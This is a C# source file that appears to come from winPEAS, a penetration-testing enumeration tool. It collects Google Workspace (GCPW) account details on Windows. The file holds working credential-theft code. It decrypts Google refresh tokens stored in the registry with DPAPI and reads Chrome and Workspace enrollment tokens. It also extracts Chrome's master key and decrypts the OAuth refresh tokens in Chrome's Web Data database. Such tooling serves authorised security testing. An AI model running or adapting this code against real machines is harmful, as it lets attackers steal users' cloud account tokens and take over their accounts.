328 lines
15 KiB
C#
328 lines
15 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.IO;
|
|
using System.Security.Cryptography;
|
|
using System.Text;
|
|
using winPEAS.Helpers;
|
|
using Newtonsoft.Json;
|
|
using System.Data.SQLite;
|
|
using Org.BouncyCastle.Crypto;
|
|
using Org.BouncyCastle.Crypto.Parameters;
|
|
using Org.BouncyCastle.Crypto.Modes;
|
|
using System.Linq;
|
|
using Microsoft.Win32;
|
|
|
|
|
|
namespace winPEAS.Info.CloudInfo
|
|
{
|
|
internal class GCPJoinedInfo : CloudInfoBase
|
|
{
|
|
public override string Name => "Google Workspace Joined";
|
|
|
|
public override bool IsCloud => CheckIfGCPWUsers();
|
|
|
|
private Dictionary<string, List<EndpointData>> _endpointData = null;
|
|
|
|
private List<EndpointData> GetWorkspaceRegValues()
|
|
{
|
|
Dictionary<string, string> workspaceRegValues = new Dictionary<string, string>();
|
|
workspaceRegValues.Add("Domains Allowed", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW", @"domains_allowed_to_login"));
|
|
|
|
// Get all values from all subregistries of Users
|
|
string[] users = Helpers.Registry.RegistryHelper.GetRegSubkeys("HKLM", @"SOFTWARE\Google\GCPW\Users");
|
|
for (int i = 0; i < users.Length; i++)
|
|
{
|
|
workspaceRegValues.Add($"HKLM Workspace user{i}", users[i]);
|
|
workspaceRegValues.Add($" Email{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"email"));
|
|
workspaceRegValues.Add($" Domain{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"domain"));
|
|
workspaceRegValues.Add($" Id{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"id"));
|
|
workspaceRegValues.Add($" Pic{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"pic"));
|
|
workspaceRegValues.Add($" User Name{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"user_name"));
|
|
workspaceRegValues.Add($" Last Policy Refresh Time{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"last_policy_refresh_time"));
|
|
workspaceRegValues.Add($" Last Token Valid Millis{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"last_token_valid_millis"));
|
|
}
|
|
|
|
string[] users3 = Helpers.Registry.RegistryHelper.GetRegSubkeys("HCKU", @"SOFTWARE\Google\Accounts");
|
|
if (users3.Length > 0)
|
|
{
|
|
workspaceRegValues.Add($"HKU Workspace user", System.Security.Principal.WindowsIdentity.GetCurrent().Name);
|
|
}
|
|
|
|
for (int i = 0; i < users3.Length; i++)
|
|
{
|
|
workspaceRegValues.Add($" HKU-Email{i}", Helpers.Registry.RegistryHelper.GetRegValue("HCKU", @"SOFTWARE\Google\Accounts\"+ users3[i], @"email"));
|
|
string refreshTokenPath = @"HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\" + users3[i];
|
|
byte[] refreshTokenB = (byte[])Registry.GetValue(refreshTokenPath, @"refresh_token", null);
|
|
if (refreshTokenB.Length > 0)
|
|
{
|
|
string refreshTokenDecrypted = DecryptRegRefreshToken(refreshTokenPath);
|
|
if (refreshTokenDecrypted.Length > 0)
|
|
workspaceRegValues.Add($" HKU-Refresh Token{i}", refreshTokenDecrypted);
|
|
}
|
|
}
|
|
|
|
// Get cloud management tokens
|
|
workspaceRegValues.Add("Chrome Enrollment Token", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Policies\Google\Chrome", @"CloudManagementEnrollmentToken"));
|
|
workspaceRegValues.Add("Workspace Enrollment Token", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Policies\Google\CloudManagement", @"EnrollmentToken"));
|
|
|
|
// Format the info in expected CloudInfo format
|
|
List<EndpointData> _endpointDataList = new List<EndpointData>();
|
|
|
|
foreach (var kvp in workspaceRegValues)
|
|
{
|
|
_endpointDataList.Add(new EndpointData()
|
|
{
|
|
EndpointName = kvp.Key,
|
|
Data = kvp.Value?.Trim(),
|
|
IsAttackVector = false
|
|
});
|
|
}
|
|
|
|
return _endpointDataList;
|
|
}
|
|
|
|
static string DecryptRegRefreshToken(string registryPath)
|
|
{
|
|
// Define the registry path where the refresh token is stored
|
|
string valueName = "refresh_token";
|
|
|
|
// Retrieve the encrypted refresh token from the registry
|
|
byte[] encryptedRefreshToken = (byte[])Registry.GetValue(registryPath, valueName, null);
|
|
|
|
if (encryptedRefreshToken == null || encryptedRefreshToken.Length == 0)
|
|
{
|
|
Console.WriteLine("No encrypted refresh token found in the registry.");
|
|
return "";
|
|
}
|
|
|
|
try
|
|
{
|
|
// Decrypt the refresh token using CryptUnprotectData
|
|
byte[] decryptedTokenBytes = ProtectedData.Unprotect(
|
|
encryptedRefreshToken,
|
|
null, // No additional entropy
|
|
DataProtectionScope.CurrentUser // Use the current user's scope
|
|
);
|
|
|
|
// Convert the decrypted token to an ASCII string
|
|
string refreshToken = Encoding.ASCII.GetString(decryptedTokenBytes);
|
|
return refreshToken;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error decrypting the refresh token: " + ex.Message);
|
|
}
|
|
return "";
|
|
}
|
|
|
|
public static bool CheckIfGCPWUsers()
|
|
{
|
|
string[] check = Helpers.Registry.RegistryHelper.GetRegSubkeys("HKLM", @"SOFTWARE\Google\GCPW\Users");
|
|
return check != null && check.Length > 0;
|
|
}
|
|
|
|
public override Dictionary<string, List<EndpointData>> EndpointDataList()
|
|
{
|
|
if (_endpointData == null)
|
|
{
|
|
_endpointData = new Dictionary<string, List<EndpointData>>();
|
|
|
|
try
|
|
{
|
|
if (IsAvailable)
|
|
{
|
|
_endpointData.Add("Local Info", GetWorkspaceRegValues());
|
|
_endpointData.Add("Local Refresh Tokens", GetRefreshToken());
|
|
}
|
|
else
|
|
{
|
|
_endpointData.Add("General Info", new List<EndpointData>()
|
|
{
|
|
new EndpointData()
|
|
{
|
|
EndpointName = "",
|
|
Data = null,
|
|
IsAttackVector = false
|
|
}
|
|
});
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Beaprint.PrintException(ex.Message);
|
|
}
|
|
}
|
|
|
|
return _endpointData;
|
|
}
|
|
|
|
static List<EndpointData> GetRefreshToken()
|
|
{
|
|
string chromeLocalStatePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Local State";
|
|
string masterKey = GetMasterKey(chromeLocalStatePath);
|
|
|
|
string[] chromeProfilePaths = Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\", "Defaul*");
|
|
string[] chromeExtraProfilePaths = Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\", "Profile*");
|
|
string[] chromeAllProfilePaths = chromeProfilePaths.Concat(chromeExtraProfilePaths).ToArray();
|
|
string[] refreshTokens = new string[0];
|
|
|
|
foreach (string profilePath in chromeAllProfilePaths)
|
|
{
|
|
string webDataPath = Path.Combine(profilePath, "Web Data");
|
|
|
|
if (File.Exists(webDataPath))
|
|
{
|
|
refreshTokens = ExtractRefreshTokens(webDataPath, masterKey);
|
|
}
|
|
}
|
|
|
|
List<EndpointData> _endpointDataList = new List<EndpointData>();
|
|
|
|
for (int i = 0; i < refreshTokens.Length; i++)
|
|
{
|
|
_endpointDataList.Add(new EndpointData()
|
|
{
|
|
EndpointName = $"Token{i}" ,
|
|
Data = refreshTokens[i].Trim(),
|
|
IsAttackVector = true
|
|
});
|
|
}
|
|
|
|
return _endpointDataList;
|
|
}
|
|
|
|
private static string GetMasterKey(string localStatePath)
|
|
{
|
|
string localStateJson = File.ReadAllText(localStatePath);
|
|
dynamic json = JsonConvert.DeserializeObject(localStateJson);
|
|
string encryptedKeyBase64 = json.os_crypt.encrypted_key;
|
|
|
|
byte[] encryptedKeyWithPrefix = Convert.FromBase64String(encryptedKeyBase64);
|
|
byte[] encryptedKey = new byte[encryptedKeyWithPrefix.Length - 5];
|
|
Array.Copy(encryptedKeyWithPrefix, 5, encryptedKey, 0, encryptedKeyWithPrefix.Length - 5);
|
|
|
|
byte[] masterKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
|
|
return Convert.ToBase64String(masterKey);
|
|
}
|
|
|
|
private static string[] ExtractRefreshTokens(string webDataPath, string masterKey)
|
|
{
|
|
List<string> refreshTokens = new List<string>();
|
|
try
|
|
{
|
|
using (SQLiteConnection connection = new SQLiteConnection($"Data Source={webDataPath};Version=3;"))
|
|
{
|
|
connection.Open();
|
|
string query = "SELECT service, encrypted_token FROM token_service;";
|
|
|
|
using (SQLiteCommand command = new SQLiteCommand(query, connection))
|
|
using (SQLiteDataReader reader = command.ExecuteReader())
|
|
{
|
|
while (reader.Read())
|
|
{
|
|
string service = reader["service"].ToString();
|
|
|
|
// Check if encrypted_token is null or empty
|
|
if (reader["encrypted_token"] == DBNull.Value)
|
|
{
|
|
Console.WriteLine("The encrypted_token is NULL in the database.");
|
|
continue;
|
|
}
|
|
byte[] encryptedToken = (byte[])reader["encrypted_token"];
|
|
|
|
string decryptedToken = DecryptWithAESGCM(encryptedToken, Convert.FromBase64String(masterKey));
|
|
refreshTokens.Add(decryptedToken);
|
|
}
|
|
}
|
|
}
|
|
return refreshTokens.ToArray();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error extracting refresh tokens (If Chrome is running the DB is probably locked): " + ex.Message);
|
|
return refreshTokens.ToArray();
|
|
}
|
|
}
|
|
public static string DecryptWithAESGCM(byte[] ciphertext, byte[] key)
|
|
{
|
|
// Constants
|
|
int nonceLength = 12; // GCM standard nonce length
|
|
int macLength = 16; // GCM authentication mac length
|
|
string versionPrefix = "v10"; // Matching kEncryptionVersionPrefix
|
|
|
|
// Convert prefix to byte array
|
|
byte[] versionPrefixBytes = Encoding.ASCII.GetBytes(versionPrefix);
|
|
|
|
// Check the prefix
|
|
if (ciphertext.Length < versionPrefixBytes.Length ||
|
|
!IsPrefixMatch(ciphertext, versionPrefixBytes))
|
|
{
|
|
throw new ArgumentException("Invalid encryption version prefix.");
|
|
}
|
|
|
|
// Extract the nonce from the ciphertext (after the prefix)
|
|
byte[] nonce = new byte[nonceLength];
|
|
Array.Copy(ciphertext, versionPrefixBytes.Length, nonce, 0, nonceLength);
|
|
|
|
// Extract the actual encrypted data (after the prefix and nonce)
|
|
int encryptedDataStartIndex = versionPrefixBytes.Length + nonceLength;
|
|
byte[] encryptedData = new byte[ciphertext.Length - encryptedDataStartIndex];
|
|
Array.Copy(ciphertext, encryptedDataStartIndex, encryptedData, 0, encryptedData.Length);
|
|
|
|
// Split the mac and actual ciphertext
|
|
byte[] mac = new byte[macLength];
|
|
Array.Copy(encryptedData, encryptedData.Length - macLength, mac, 0, macLength);
|
|
|
|
byte[] actualCiphertext = new byte[encryptedData.Length - macLength];
|
|
Array.Copy(encryptedData, 0, actualCiphertext, 0, actualCiphertext.Length);
|
|
|
|
// Perform the decryption using Bouncy Castle
|
|
try
|
|
{
|
|
GcmBlockCipher gcm = new GcmBlockCipher(new Org.BouncyCastle.Crypto.Engines.AesEngine());
|
|
AeadParameters parameters = new AeadParameters(new KeyParameter(key), macLength * 8, nonce);
|
|
gcm.Init(true, parameters);
|
|
|
|
byte[] plaintext = new byte[gcm.GetOutputSize(actualCiphertext.Length)];
|
|
int len = gcm.ProcessBytes(actualCiphertext, 0, actualCiphertext.Length, plaintext, 0);
|
|
string plaintextString = Encoding.ASCII.GetString(plaintext, 0, len);
|
|
gcm.DoFinal(plaintext, len);
|
|
|
|
return plaintextString;
|
|
}
|
|
catch (InvalidCipherTextException ex)
|
|
{
|
|
throw new CryptographicException("Decryption failed due to MAC mismatch", ex);
|
|
}
|
|
}
|
|
|
|
private static bool IsPrefixMatch(byte[] ciphertext, byte[] versionPrefixBytes)
|
|
{
|
|
for (int i = 0; i < versionPrefixBytes.Length; i++)
|
|
{
|
|
if (ciphertext[i] != versionPrefixBytes[i])
|
|
return false;
|
|
}
|
|
return true;
|
|
}
|
|
|
|
private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
|
|
{
|
|
using (MemoryStream ms = new MemoryStream())
|
|
{
|
|
using (CryptoStream cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
|
|
{
|
|
cryptoStream.Write(data, 0, data.Length);
|
|
cryptoStream.FlushFinalBlock();
|
|
return ms.ToArray();
|
|
}
|
|
}
|
|
}
|
|
|
|
public override bool TestConnection()
|
|
{
|
|
return true;
|
|
}
|
|
}
|
|
}
|